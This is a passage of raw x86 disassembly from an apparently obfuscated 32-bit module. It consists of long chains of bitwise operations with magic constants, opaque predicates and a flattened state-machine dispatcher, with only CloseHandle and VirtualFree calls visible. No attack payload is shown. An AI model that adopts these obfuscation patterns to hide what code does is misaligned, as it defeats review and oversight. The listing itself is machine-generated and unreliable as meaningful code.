or esi, ebx
xor esi, edi
not eax
or eax, esi
mov esi, ecx
xor esi, ecx
not esi
and esi, eax
xor esi, ecx
not edx
or edx, esi
mov eax, edx
mov ecx, edx
xor ecx, 0xdf3f075
and ecx, edx
not edx
or eax, 0xf20c0f8a
mov esi, eax
and esi, 0x88488347
and edx, 0x5b37030
or edx, esi
mov esi, ecx
not esi
or eax, esi
and esi, 0x88488347
and ecx, 0x77b77cb8
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x677d508e
mov esi, eax
and esi, 0x9882af71
or esi, edx
and eax, 0x677d508e
mov edx, ecx
and edx, 0x9882af71
or edx, eax
xor edx, esi
not edx
or edx, ecx
xor edx, 0xffffffff
setne cl
sete ch
cmp dword [0x1004090c], 0xa
setge ah
setl al
mov dl, ch
or dl, al
xor al, ch
and al, dl
mov dl, ah
or dl, cl
mov dh, ah
xor dh, ch
mov ebx, edx
xor bl, dh
or dh, dl
xor dh, 1
or dh, bl
xor al, 1
mov dl, dh
xor dl, al
or al, dh
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov bl, ah
inc bl
mov dh, ch
or dh, ah
xor dh, 1
and cl, bl
and ah, ch
or ah, cl
xor ah, 1
or ah, bl
xor ah, 1
or ah, dh
mov ch, ah
xor ch, 1
mov dh, ah
and dh, ch
xor dh, 1
mov cl, ch
xor cl, dh
or ch, dh
xor ch, 1
or ch, cl
mov cl, ch
xor cl, 1
or dh, ah
mov ah, ch
and ah, cl
xor ah, 1
mov ebx, ecx
xor bl, ah
or ah, cl
xor ah, 1
or ah, bl
xor ah, dh
xor dh, cl
mov bl, dh
xor bl, ch
and bl, dh
mov dh, ah
xor dh, 1
mov bh, bl
xor bh, 1
and ah, bh
or bh, dh
and dh, bl
mov bl, al
and bl, dl
xor bl, 1
or bl, dl
xor bl, 1
or bl, al
or dh, ah
xor dh, 1
mov ah, bh
xor ah, dh
or dh, bh
xor dh, 1
or dh, ah
xor dh, 1
mov ah, bl
xor ah, dh
or dh, bl
xor dh, 1
xor ah, 1
and ah, bl
or ah, dh
mov dh, cl
xor dh, al
and dh, ch
mov ebx, eax
or bl, ch
xor dh, 1
mov bh, dh
xor bh, bl
or dh, bl
xor dh, 1
or dh, bh
and ch, al
or al, cl
and cl, dl
or cl, ch
xor cl, 1
mov dl, al
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov al, cl
xor al, 1
mov dl, cl
and dl, al
xor dl, 1
mov ch, al
xor ch, dl
or dl, al
xor dl, 1
or dl, ch
mov ch, dl
and ch, dh
or al, dh
xor dh, 1
xor dl, 1
and dl, dh
xor dh, cl
xor al, 1
or al, dh
xor al, 1
or al, ch
or al, dl
mov ecx, eax
xor cl, 1
mov dl, ah
xor dl, 1
mov ch, cl
and ch, al
xor ch, 1
or ch, al
and al, dl
and ah, cl
or ah, al
xor ah, 1
or ah, dl
xor ch, 1
or ch, cl
xor ch, dl
mov al, ah
or al, ch
xor ch, ah
mov cl, al
xor cl, ch
test ch, 1
mov ebx, 0xc4380b94
mov edx, 0x5be881c4
cmovne ebx, edx
test al, 1
mov eax, 0xc4380b94
jmp 0x10016b7c
cmp ebx, 0xcc000499
je 0x1001a94f
cmp ebx, 0xcc91b8d8
je 0x1001c0ec
cmp ebx, 0xcd22fe90
jne 0x1000b8a0
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 0x4e7f68ba
mov dword [esp + 0x14], 1
jmp 0x1000b8a0
cmp ebx, 0x3890ffa6
je 0x1001c100
cmp ebx, 0x426913b6
je 0x1001c117
cmp ebx, 0x45f145b0
jne 0x1000b8a0
mov ebx, 0x3621ece
jmp 0x1000b8a0
cmp ebx, 0xb540fd09
je 0x1001c130
cmp ebx, 0xb6f32dd3
je 0x1001cc49
cmp ebx, 0xbb0cd254
jne 0x1000b8a0
push 0x8000
push 0
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [0x10040908]
lea esi, [eax + 1]
imul esi, eax
mov dword [esp + 4], esi
mov eax, esi
not eax
mov ecx, eax
mov ebx, eax
and ecx, 0x208c64c8
mov eax, esi
and eax, 0xd6101910
or eax, ecx
mov edx, eax
xor edx, 0x42000110
xor eax, 0x29efe6ef
mov ecx, esi
xor ecx, 0xf69c7dd8
and ecx, esi
mov esi, ecx
not esi
mov edi, eax
and edi, 0x9d38ba22
and edx, 0x628445d8
or edx, edi
or eax, esi
and esi, 0x9d38ba22
and ecx, 0x62c745dd
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0x9638227
xor eax, 0xa4007580
and ecx, 0x5abd0a59
and eax, 0xa542f5a6
or eax, ecx
mov ecx, eax
xor ecx, 0xa40075a2
xor eax, 0x2840050
and eax, 0x3c68054
and ecx, 0xfc397fab
or ecx, eax
mov eax, ecx
xor eax, 0x2820050
xor ecx, 0x10204b21
and ecx, 0x1164cb25
and eax, 0xee9b34da
or eax, ecx
mov esi, eax
xor esi, 0xc09a301a
mov edx, eax
xor edx, 0x1164cb25
mov ecx, edx
or ecx, 0xc0daf23e
xor eax, 0x20100c0
and esi, 0xc0daf23e
and edx, 0x3f250dc1
or edx, esi
mov esi, edx
not esi
mov edi, ecx
and edi, 0xac20f621
and eax, 0x130509c0
or eax, edi
or ecx, esi
and esi, 0xac20f621
and edx, 0x53df09de
or edx, esi
xor edx, eax
not ecx
or ecx, edx
mov ebp, ecx
mov eax, ecx
xor eax, 0xf98187f9
and eax, ecx
not ecx
or ebp, 0x67e7806
mov edx, eax
not edx
mov esi, ebp
and esi, 0x3f27386d
and ecx, 0xc0808790
or ecx, esi
or ebp, edx
and edx, 0x3f27386d
and eax, 0xc0d8c792
or eax, edx
xor eax, ecx
not ebp
or ebp, eax
mov edi, ebp
xor edi, 0x67e7806
mov dword [esp], edi
xor ebp, 0xf98187f9
mov dword [esp + 0x10], ebx
mov ecx, ebx
and ecx, 0xc0daf23e
mov eax, dword [esp + 4]
and eax, 0x3f250dc1
or eax, ecx
not eax
or eax, ebx
mov ecx, ebp
and ecx, 0x6ed08466
and edi, 0x912f7b99
or edi, ecx
mov ebx, eax
not ebx
mov edx, eax
and edx, ebx
mov ecx, eax
and ecx, 0x7e28334d
mov esi, ebx
and ebx, 0x81d7ccb2
or ebx, ecx
not ebx
or ebx, eax
mov dword [esp + 0xc], ebx
and eax, 0x4aa53dd6
and esi, 0xb55ac229
or esi, eax
mov eax, esi
xor eax, 0x95120201
xor esi, 0x4aa53dd6
mov ecx, esi
and ecx, 0x60c9d93a
and eax, 0x9f3626c5
or eax, ecx
mov ecx, edx
not ecx
or esi, ecx
and ecx, 0x60c9d93a
and edx, 0x9f3626c5
or edx, ecx
xor edx, eax
not esi
or esi, edx
mov ebx, esi
mov eax, edi
xor eax, 0x912f7b99
mov dword [esp + 0x18], eax
xor edi, 0x6ed08466
mov dword [esp + 8], edi
and edi, 0x81d7ccb2
and eax, 0x7e28334d
or eax, edi
mov edi, esi
not edi
mov ecx, edi
mov dword [esp + 0x1c], edi
and ecx, 0x8491f614
and esi, 0x7b6e09eb
or esi, ecx
xor esi, 0x5463aa6
mov edx, esi
xor edx, edi
and edx, esi
not eax
or eax, dword [esp + 8]
or ebp, 0x7e28334d
mov ecx, eax
or ecx, ebp
and ebp, 0x2eafb5a9
mov esi, dword [esp]
and esi, 0x81504812
or esi, ebp
xor esi, eax
not ecx
xor esi, 0xd1504a56
or esi, ecx
mov dword [esp], esi
mov ecx, dword [esp + 0xc]
mov esi, ecx
not esi
and ecx, 0x52320fd7
mov eax, esi
and eax, 0xadcdf028
or eax, ecx
mov ecx, edx
not ecx
mov dword [esp + 0x30], ecx
and ecx, 0xc6fa6a4
mov edi, edx
and edi, 0xf390595b
or edi, ecx
mov dword [esp + 0x3c], edi
mov ecx, eax
xor ecx, 0xadcdf028
mov dword [esp + 0x20], ecx
mov ebp, eax
xor ebp, 0x5e5da973
and ebp, ecx
mov ecx, ebp
not ecx
mov edi, ecx
and edi, 0xff985879
and ebp, 0x67a786
or ebp, edi
mov edi, dword [esp + 0xc]
or edi, 0xc6fa6a4
or ecx, edi
and edi, 0xff985879
and esi, 0x102
or esi, edi
xor esi, ebp
not ecx
or ecx, esi
mov esi, ecx
xor esi, ecx
not esi
and esi, dword [esp + 0x3c]
xor esi, ecx
mov ecx, edx
and ecx, 0x3b01d301
mov edi, dword [esp + 0x30]
and edi, 0xc4fe2cfe
or edi, ecx
xor eax, 0x52320fd7
or edx, eax
and eax, 0x3b01d301
mov ecx, dword [esp + 0x20]
and ecx, 0xc4fe2cfe
or ecx, eax
xor ecx, edi
not edx
or edx, ecx
not edx
or edx, esi
mov esi, dword [esp]
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x3f47582f
and esi, 0xc0b8a7d0
or esi, ecx
mov ecx, edx
not ecx
xor esi, 0x3f47582f
or esi, ecx
and ecx, 0x965b68f7
and edx, 0x69a49708
or edx, ecx
xor edx, 0x965b68f7
or edx, eax
mov eax, edx
xor eax, esi
or edx, esi
not edx
or edx, eax
mov ecx, dword [esp + 0x18]
mov eax, ecx
mov esi, dword [esp + 0x1c]
xor eax, esi
and eax, ecx
mov edi, dword [esp + 8]
and edi, 0x631146b9
and ecx, 0x9ceeb946
or ecx, edi
and esi, 0x631146b9
and ebx, 0x9ceeb946
or ebx, esi
xor ebx, ecx
or ebx, eax
mov eax, ebx
not eax
and ebx, 0x4d9020a6
and eax, 0xb26fdf59
or eax, ebx
mov ecx, eax
xor ecx, 0x30448458
xor eax, 0x8802006
and eax, 0x8aab7b07
and ecx, 0x755484f8
or ecx, eax
mov eax, edx
not eax
mov esi, edx
xor esi, 0x888da81d
and esi, eax
mov ebp, edx
and ebp, 0x777257e2
or ebp, esi
mov ebx, ecx
xor ebx, 0x755484f8
mov edi, ecx
xor edi, 0x8aab7b07
xor ecx, 0xfdd92ce5
and ecx, edi
mov esi, ebx
and esi, 0x777257e2
or esi, ecx
xor esi, ebp
mov ecx, edx
and ecx, 0x58de0b4e
and eax, 0xa721f4b1
or eax, ecx
or edx, ebx
and ebx, 0x58de0b4e
and edi, 0xa721f4b1
or edi, ebx
xor edi, eax
not edx
or edx, edi
not edx
or edx, esi
mov ecx, edx
not ecx
mov esi, edx
mov eax, ecx
mov edi, ecx
and edi, 0xabab94a0
and edx, 0x54546b5f
or edx, edi
xor edx, 0x94bd5bc5
or edx, ecx
and ecx, 0x2400140
and esi, 0x258ec690
or esi, ecx
xor esi, 0x258ec690
and eax, 0xd831382f
or eax, esi
mov ecx, eax
not ecx
or ecx, 0x3f16cf65
mov esi, ecx
xor esi, 0x40280080
and esi, ecx
and eax, 0x40280080
or eax, esi
and eax, 0xe0e9b09e
xor eax, edx
xor eax, 0x5f3e4fe1
or edx, ecx
not edx
or edx, eax
mov ebp, dword [esp + 0x10]
mov ecx, ebp
and ecx, 0xf2ce5ff
mov ebx, dword [esp + 4]
mov eax, ebx
and eax, 0xf0d31a00
or eax, ecx
mov ecx, eax
xor ecx, 0x10400200
xor eax, 0xf2ce5ff
mov edi, ebp
and edi, ebx
mov esi, eax
and esi, 0x688c908a
and ecx, 0x10402304
or ecx, esi
mov esi, edi
not esi
or eax, esi
and esi, 0x688c908a
and edi, 0x10402304
or edi, esi
mov esi, edx
xor esi, 0xffcc3d5a
mov dword [esp], esi
xor edi, ecx
not eax
or eax, edi
not eax
or eax, 0x87334c71
mov ecx, eax
not ecx
mov edi, ebp
and edi, 0xc3470c09
mov esi, ebx
and esi, 0x3cb8f3f6
or esi, edi
xor esi, 0xbb8bbf87
xor ebp, esi
and ebp, esi
mov ebx, ebp
not ebx
mov edi, ecx
xor edi, ebx
and edi, ecx
and eax, 0xfd676941
and ecx, 0x88928e
or ecx, eax
and ebx, 0xfd676941
and ebp, 0x29896be
or ebp, ebx
xor ebp, ecx
or ebp, edi
mov eax, ebp
not eax
mov ecx, ebp
or ecx, 0x280c2028
mov edi, eax
or edi, 0x51028404
and ecx, 0x790ea42c
and eax, 0x511112
or eax, ecx
and edi, 0x790ea42c
and ebp, 0x86a04ac1
or ebp, edi
xor ebp, eax
mov edi, ebp
xor edi, 0xd660d967
mov ecx, edx
xor ecx, 0x33c2a5
xor edx, 0x9be3ff8b
and edx, dword [esp]
mov ebx, ecx
or ebx, edx
not edx
and edx, 0x9bd03d2e
and ebx, 0x642fc2d1
or ebx, edx
mov edx, ebp
xor edx, 0x299f2698
mov esi, edx
and esi, 0xd5d823f4
mov eax, edi
and eax, 0x2a27dc0b
or eax, esi
xor ebp, 0x6da87058
and ebp, edi
xor eax, ebx
xor eax, 0x2a27dc0b
mov esi, eax
xor esi, edx
and esi, eax
and edx, 0x3e779d8e
and edi, 0xc1886271
or edi, edx
mov eax, edi
xor eax, 0x1880021
xor edi, 0x3a40890e
or edi, 0x443756c0
mov ebx, edi
and ebx, 0x8411b618
and eax, 0x3bc80927
or eax, ebx
mov ebx, ebp
not ebx
or edi, ebx
and ebx, 0x8411b618
and ebp, 0x7bee49e7
or ebp, ebx
xor ebp, eax
not edi
or edi, ebp
mov eax, edi
xor eax, 0x44065040
xor edi, 0x1ac8a028
mov ebx, ecx
and ebx, 0xe5065957
mov edx, dword [esp]
mov ebp, edx
and ebp, 0x1af9a6a8
or ebp, ebx
and eax, 0xe5065957
and edi, 0x1af9a6a8
or edi, eax
xor edi, ebp
mov eax, edi
xor eax, ecx
and eax, edi
mov ebx, eax
not ebx
mov edi, esi
xor edi, ebx
and edi, esi
and ebx, 0xabc80eaf
and eax, 0x5437f150
or eax, ebx
xor eax, esi
xor eax, 0xabc80eaf
or eax, edi
and edx, 0x6f38cbb2
and ecx, 0x90c7344d
or ecx, edx
mov esi, ecx
xor esi, 0x6f38cbb2
mov edx, eax
not edx
mov ebx, edx
and ebx, 0x58621445
mov edi, eax
and edi, 0xa79debba
or edi, ebx
mov ebx, edi
xor ebx, 0x808028
xor edi, 0x8000000
mov ebp, edx
or ebp, 0xc002300
or edi, 0xc2600002
and edi, 0xce602302
and ebx, 0x82906d
or ebx, edi
and ebp, 0xce602302
mov edi, eax
and edi, 0x311d4c90
or edi, ebp
mov ebp, ecx
xor ebp, 0x3045
xor ecx, 0x63ba78df
and ecx, esi
or esi, 0xf37d4c92
xor edi, ebx
mov ebx, esi
and ebx, 0xb5f2401a
and ebp, 0x800b365
or ebp, ebx
mov ebx, ecx
not ebx
or esi, ebx
and ebx, 0xb5f2401a
and ecx, 0x4a0dbfe5
or ecx, ebx
xor ecx, ebp
not esi
or esi, ecx
mov ecx, esi
xor ecx, esi
not ecx
and ecx, edi
xor ecx, esi
mov esi, ecx
not esi
mov edi, esi
and edi, 0x53effa9c
and ecx, 0xac100563
or ecx, edi
and eax, 0x53effa9c
and edx, 0xac100563
or edx, eax
xor edx, ecx
xor esi, edx
test esi, edx
setne ah
sete ch
cmp dword [0x1004090c], 0xa
setge cl
setl dl
mov dh, dl
xor dh, cl
mov bl, dh
xor bl, 1
mov al, bl
and al, dh
xor al, 1
or al, dh
xor al, 1
or al, bl
mov ebx, ecx
or bl, al
xor al, 1
mov dh, al
or al, dl
mov bh, al
xor bh, bl
or al, bl
or dh, cl
xor al, 1
or al, bh
xor al, 1
mov ebx, eax
xor bl, dh
or al, dh
xor al, 1
or al, bl
mov ebx, eax
xor bl, 1
mov dh, bl
and dh, al
xor bl, dh
xor dh, 1
or dh, al
xor dh, 1
or dh, bl
mov bl, dh
xor bl, 1
mov al, bl
and al, dh
xor bl, al
xor al, 1
or al, dh
xor al, 1
or al, bl
mov dh, al
xor dh, 1
or dh, ch
or al, ah
mov bl, dh
xor bl, al
or al, dh
xor al, 1
or al, bl
mov dh, dl
xor dh, ah
mov bl, ch
and bl, cl
or cl, ch
mov ch, cl
xor ch, 1
or ch, dh
and dh, dl
and dl, ah
or dl, bl
or dl, dh
mov ah, dl
xor ah, 1
mov dh, ah
and dh, dl
xor ah, dh
xor dh, 1
or dh, dl
xor dh, 1
or dh, ah
mov dl, dh
xor dl, 1
mov ah, cl
or ah, ch
xor ah, 1
xor ch, cl
or ch, ah
xor ch, 1
mov ah, dh
xor ah, ch
xor ah, 1
or ah, dl
xor dl, ch
or ch, dh
and dl, dh
xor dl, 1
mov cl, dl
xor cl, ch
or dl, ch
xor dl, 1
or dl, cl
mov ch, dl
xor ch, 1
mov dh, ch
mov cl, ah
xor ch, ah
xor ah, 1
and dh, ah
and cl, dl
or cl, dh
or dl, ah
xor dl, 1
or dl, ch
xor cl, 1
mov ah, cl
xor ah, dl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, 1
mov ah, dl
and ah, cl
xor ah, 1
mov ch, cl
xor ch, ah
or ah, cl
xor ah, 1
or ah, ch
mov ch, ah
xor ch, cl
or ah, cl
xor ah, 1
or ah, ch
mov cl, ah
xor cl, 1
and ah, cl
xor ah, 1
mov ch, cl
xor ch, ah
or ah, cl
xor ah, 1
or ah, ch
mov ch, dl
xor ch, cl
or cl, dl
xor cl, 1
or cl, ch
xor cl, 1
xor dl, cl
xor dl, ah
and cl, dl
xor cl, 1
mov ah, cl
xor ah, dl
or cl, dl
xor cl, 1
or cl, ah
mov ch, cl
xor ch, 1
mov dl, ch
and dl, cl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ch
mov ah, dl
xor ah, 1
mov dh, dl
and dh, ah
mov bl, ch
and bl, dh
xor dh, 1
and cl, dh
or cl, bl
or dh, ch
xor cl, 1
mov ch, cl
xor ch, dh
or cl, dh
xor cl, 1
or cl, ch
xor cl, 1
xor ah, cl
and ah, cl
xor cl, dl
or cl, ah
mov ah, cl
xor ah, 1
mov edx, eax
xor dl, 1
mov ch, dl
and ch, al
xor ch, 1
or ch, al
xor ch, 1
or ch, dl
mov dl, ch
xor dl, 1
mov ebx, ecx
xor bl, dl
mov dh, ah
or dh, ch
xor dh, 1
or dh, bl
mov bl, ah
and bl, ch
and dl, cl
or dl, bl
xor ch, dl
and ch, dl
mov dl, ch
xor dl, 1
and ch, dl
xor ch, 1
mov bl, ch
xor bl, dl
or ch, dl
xor ch, 1
or ch, bl
mov bl, ch
and bl, dh
or dl, dh
xor dh, 1
xor ch, 1
and ch, dh
xor dl, 1
or dl, bl
or dl, ch
mov ch, ah
xor ch, al
or ah, al
mov dh, ah
xor dh, 1
and ch, cl
or cl, al
xor ch, 1
mov al, ch
xor al, cl
or ch, cl
xor ch, 1
or ch, al
mov al, ch
xor al, 1
and ch, ah
or ah, al
xor ah, 1
and al, dh
or al, ch
or al, ah
mov ah, al
xor ah, 1
mov ch, dl
xor ch, 1
mov dh, al
and dh, ah
xor dh, 1
mov cl, ah
xor cl, dh
or dh, ah
xor dh, 1
or dh, cl
mov cl, dh
xor cl, 1
or dh, dl
xor dh, 1
or cl, ch
xor cl, 1
or cl, dh
and ch, ah
and al, dl
or al, ch
or ah, dl
xor al, 1
mov edx, eax
xor dl, ah
or al, ah
xor al, 1
or al, dl
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x58add5e2
mov esi, 0x9fdd15a6
cmovne eax, esi
test cl, 1
mov ebx, 0x58add5e2
cmovne ebx, eax
test dl, 1
cmove ebx, eax
jmp 0x1000b8a0
cmp ebx, 0x7d922ea4
je 0x1001e523
cmp ebx, 0x6f83db48
je 0x1001ee4d
cmp ebx, 0x686c2015
jne 0x1000b8a0
mov eax, dword [esp + 0x40]
cmp eax, 0xffffffff
mov ebx, 0x7d922ea4
mov eax, 0x8e05818b
cmove ebx, eax
jmp 0x1000b8a0
cmp ebx, 0xe3629d0f
je 0x1001fb3e
cmp ebx, 0xe4d85bb1
jne 0x1001fb50
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x10040908]
lea ebx, [eax + 1]
imul ebx, eax
mov dword [esp], ebx
mov edi, ebx
not edi
mov eax, edi
and eax, ebx
mov edx, eax
not edx
mov ecx, ebx
and ecx, 0x71f0578f
mov esi, edi
mov ebp, edi
mov dword [esp + 8], edi
and esi, 0x8e0fa870
or esi, ecx
mov ecx, ebx
or ecx, edx
and edx, 0x71f0578f
and eax, 0x8e0fa870
or eax, edx
xor eax, esi
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xdf1d2fc3
and ecx, 0x20e2d03c
or ecx, eax
mov eax, ecx
xor eax, 0xdf1d2fc3
mov edx, ecx
xor edx, 0x60d008
and edx, 0x5d78f04a
xor ecx, 0xacefc6f4
and ecx, eax
and eax, 0xa2870fb5
or eax, edx
mov edx, eax
xor edx, 0x2000834
xor eax, 0x5170e002
or eax, 0x8c0d16c8
mov esi, ecx
not esi
mov edi, eax
and edi, 0x75eb07c9
and edx, 0x210e836
or edx, edi
or eax, esi
and esi, 0x75eb07c9
and ecx, 0x8a14f836
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov edx, eax
xor edx, 0x8080440
mov esi, eax
xor esi, 0x73f2e937
mov ecx, esi
and ecx, 0xd5775aaa
and edx, 0x2a88a555
or edx, ecx
mov ecx, edx
xor ecx, 0x2a88a555
xor edx, 0xd5775aaa
mov edi, edx
or edi, 0x3189c305
and edi, 0x758dc355
mov ebx, ecx
and ebx, 0x2322888
or ebx, edi
or esi, 0x44040050
xor eax, 0x88001400
and esi, 0x758dc355
and eax, 0x88401422
or eax, esi
xor eax, ebx
mov esi, eax
xor esi, 0x463028c1
and edx, 0xe108eb83
mov edi, ecx
and edi, 0x1ef7147c
or edi, edx
xor edi, 0x1ef7147d
and ecx, 0xfffffffe
or ecx, edi
mov edx, ecx
not edx
xor eax, 0xb9c9d726
mov edi, eax
and edi, 0x190ed618
and esi, 0xe6f129e7
or esi, edi
or eax, ecx
and ecx, 0x190ed618
and edx, 0xe6f129e7
or edx, ecx
xor edx, esi
not eax
or eax, edx
mov ecx, eax
not ecx
and eax, 0xfbb2fca7
and ecx, 0x44d0358
or ecx, eax
mov edx, ecx
xor edx, 0x44d0208
xor ecx, 0x6982d827
and ecx, 0x6982d977
and edx, 0x967d2688
or edx, ecx
mov eax, dword [esp]
and eax, 0x52ab1867
mov ecx, ebp
and ecx, 0xad54e798
or ecx, eax
mov eax, ecx
xor eax, 0x52ab1867
mov ebx, ecx
xor ebx, 0xad54e798
xor ecx, 0xefa52ff2
and ecx, ebx
mov edi, eax
and edi, 0x42f1c86a
or edi, ecx
mov esi, edx
xor esi, 0x967d2688
and eax, 0x4a030ace
and ebx, 0xb5fcf530
or ebx, eax
mov eax, edx
xor eax, 0x6982d977
xor edi, 0x42f1c86b
xor ebx, 0xb5fcf530
or ebx, edi
xor edx, 0x340080
or edx, 0xe840741a
and edx, 0xe874fcde
mov ecx, eax
and ecx, 0x58b0220
or ecx, edx
mov edx, eax
or edx, 0x3488c4
and edx, 0xe874fcde
mov edi, esi
and edi, 0x12000101
or edi, edx
xor edi, ecx
mov ebp, edi
mov ecx, ebx
not ecx
mov edx, ebx
and edx, 0x862a01b4
mov edi, ecx
and edi, 0x1980ca01
or edi, edx
xor edi, 0x1980ca01
mov edx, ebx
xor edx, 0x6055344a
and edx, ecx
or edx, edi
mov dword [esp + 0x14], edx
mov edx, ebp
mov edi, ebp
xor edi, 0xfa40751b
mov dword [esp + 0xc], edi
xor edx, 0x5bf8ae4
mov dword [esp + 4], edx
and edx, 0xcd1e7c18
and edi, 0x32e183e7
or edi, edx
mov edx, edi
xor edx, 0x32e183e7
xor edi, 0x4043400
and edi, 0x26653401
mov ebp, edx
and ebp, 0xd99acbfe
or ebp, edi
xor ebp, 0xd812ea55
and edx, 0xfe77de54
or edx, ebp
and esi, 0xde748545
mov edi, eax
and edi, 0x218b7aba
or edi, esi
xor edi, 0xdffca4ee
and eax, 0x18821ab
or eax, edi
mov ebp, dword [esp + 0x14]
mov edi, ebp
xor edi, 0x6055344a
xor ebp, 0x9faacbb5
mov dword [esp + 0x14], ebp
and ebp, 0x759bc77f
mov esi, edi
and esi, 0x8a643880
or esi, ebp
and ebx, 0xe2659800
and ecx, 0x1c124654
or ecx, ebx
mov ebp, ecx
xor ebp, 0xc120210
or ebp, 0x1800003
xor ecx, 0xa2609800
and ecx, 0xb260dc44
and ebp, 0x4d970213
or ebp, ecx
mov ebx, eax
not ebx
and ebx, edx
not edx
mov ecx, edx
xor ecx, eax
and ecx, edx
and eax, edx
or eax, ebx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0x29b63157
and ecx, 0xd649cea8
or ecx, edx
mov edx, eax
not edx
or ebx, edx
and edx, 0x29b63157
and eax, 0xd649cea8
or eax, edx
xor eax, ecx
not ebx
or ebx, eax
mov dword [esp + 0x10], ebx
xor esi, 0x7413e6d4
or esi, dword [esp + 0x14]
mov edx, esi
not edx
mov eax, esi
and eax, 0x1acff05d
xor esi, 0x5d002403
and esi, edx
and edx, 0xe5300fa2
or edx, eax
mov eax, ebp
xor eax, 0x4d970213
mov ecx, ebp
xor ecx, 0x1068a404
and ecx, 0x14eaa416
xor ebp, 0xee60d844
and ebp, eax
and eax, 0xea155a40
or eax, ecx
mov ecx, eax
xor ecx, 0xeb155be9
xor eax, 0xb6157f62
and eax, ecx
or ebp, eax
mov eax, edx
xor eax, 0xe5300fa2
mov dword [esp + 0x18], eax
xor edx, 0xb8302ba1
and edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xbe42d80f
and edx, 0x41bd27f0
or edx, ebx
mov ebx, esi
not ebx
or eax, ebx
and ebx, 0xbe42d80f
and esi, 0x41bd27f0
or esi, ebx
xor esi, edx
not eax
or eax, esi
xor eax, ebp
or ecx, dword [esp + 0x18]
xor eax, 0x88
not ecx
or ecx, eax
mov ebx, dword [esp + 0x10]
not ebx
mov eax, ebx
xor eax, ecx
not eax
and eax, ecx
or ebx, ecx
not ebx
or ebx, eax
mov ecx, dword [esp + 0xc]
mov eax, ecx
mov esi, dword [esp + 0x14]
xor eax, esi
and eax, ecx
mov edx, dword [esp + 4]
and edx, 0xb60c95c7
and ecx, 0x49f36a38
or ecx, edx
and esi, 0xb60c95c7
and edi, 0x49f36a38
or edi, esi
xor edi, ecx
or edi, eax
mov eax, edi
not eax
mov ecx, eax
and ecx, 0xcace8c51
and eax, edi
and edi, 0x353173ae
or edi, ecx
xor edi, 0x353173ae
or edi, eax
mov ecx, edi
not ecx
mov eax, ebx
xor eax, ecx
and eax, ebx
and ecx, 0x525aaa28
and edi, 0xada555d7
or edi, ecx
xor edi, ebx
mov ecx, edi
xor ecx, 0x525aaa28
mov edx, eax
not edx
xor edi, 0xada555d7
mov esi, edx
and esi, 0x8ccd2706
and eax, 0x7332d8f9
or eax, esi
or edx, edi
and edi, 0x8ccd2706
and ecx, 0x7332d8f9
or ecx, edi
xor ecx, eax
not edx
or edx, ecx
mov dword [esp + 4], edx
mov edi, dword [esp]
mov ecx, edi
and ecx, 0x31104d00
mov edx, dword [esp + 8]
mov eax, edx
and eax, 0x488100d4
or eax, ecx
mov esi, eax
xor esi, 0x488100d4
or esi, 0x866eb22b
mov ecx, edx
and ecx, 0xd21e5bfd
and edi, 0x2de1a402
or edi, ecx
xor edi, 0xab8f1629
xor edx, edi
and edx, edi
mov ecx, edx
not ecx
mov edi, esi
mov ebx, ecx
or ecx, esi
not esi
xor eax, 0x11914944
and eax, esi
or esi, 0xdb345b92
mov ebp, esi
and ebp, 0x3a015d82
and edi, 0x480006d
or edi, ebp
mov ebp, eax
not ebp
or esi, ebp
and ebp, 0x3a4bfd82
and eax, 0x41900054
or eax, ebp
xor eax, edi
mov edi, edx
xor edi, 0x24cba46d
and edi, edx
mov ebp, edx
or ebp, 0xdb345b92
not esi
or esi, eax
mov eax, ebp
and eax, 0x7def3bf0
and ebx, 0x840d
or ebx, eax
mov eax, edi
not eax
or ebp, eax
and eax, 0x7def3bf0
and edi, 0x8210c40f
or edi, eax
xor edi, ebx
not ebp
or ebp, edi
mov eax, ebp
xor eax, ebp
not eax
and eax, esi
xor eax, ebp
mov edi, ecx
not edi
mov esi, eax
not esi
mov ebx, esi
and ebx, 0x134d045
and eax, 0xfecb2fba
or eax, ebx
or esi, ecx
and ecx, 0x134d045
and edi, 0x78810d90
or edi, ecx
xor edi, eax
not esi
or esi, edi
mov ebx, esi
xor ebx, 0x866eb22b
mov ecx, dword [esp + 4]
mov ebp, ecx
not ebp
mov dword [esp + 0x14], ebp
mov eax, ebp
and eax, 0xa100000
and ecx, 0x1c009e4
or ecx, eax
xor ecx, 0x1c009e4
and ebp, 0xf42ff61b
or ebp, ecx
mov edx, esi
xor edx, 0x79914dd4
mov eax, ebx
and eax, 0xdcda2163
mov ecx, edx
and ecx, 0x2325de9c
or ecx, eax
mov eax, ebp
not eax
mov edi, ebx
or edi, ebp
and ebp, 0xdcda2163
and eax, 0x2325de9c
or eax, ebp
xor eax, ecx
xor esi, 0x62ede237
and esi, ebx
not edi
or edi, eax
and edx, 0xe4c27683
and ebx, 0x1b3d897c
or ebx, edx
mov eax, ebx
xor eax, 0x10014
xor ebx, 0xe4825000
mov ecx, ebx
or ecx, 0x19642ec0
and ecx, 0xb9647ec8
and eax, 0x44830014
or eax, ecx
mov ecx, esi
not ecx
or ebx, ecx
and ecx, 0xb9647ec8
and esi, 0x469b8137
or esi, ecx
xor esi, eax
not ebx
or ebx, esi
not esi
and esi, 0x1b7cafe3
and ebx, 0xe483501c
or ebx, esi
mov eax, dword [esp + 0x14]
and eax, 0xe7ab5ff
mov ebp, dword [esp + 4]
mov ecx, ebp
and ecx, 0xf1854a00
or ecx, eax
xor ecx, 0xf1854a00
not ebx
or ebx, ecx
mov ecx, ebx
not ecx
mov esi, edi
or esi, ebx
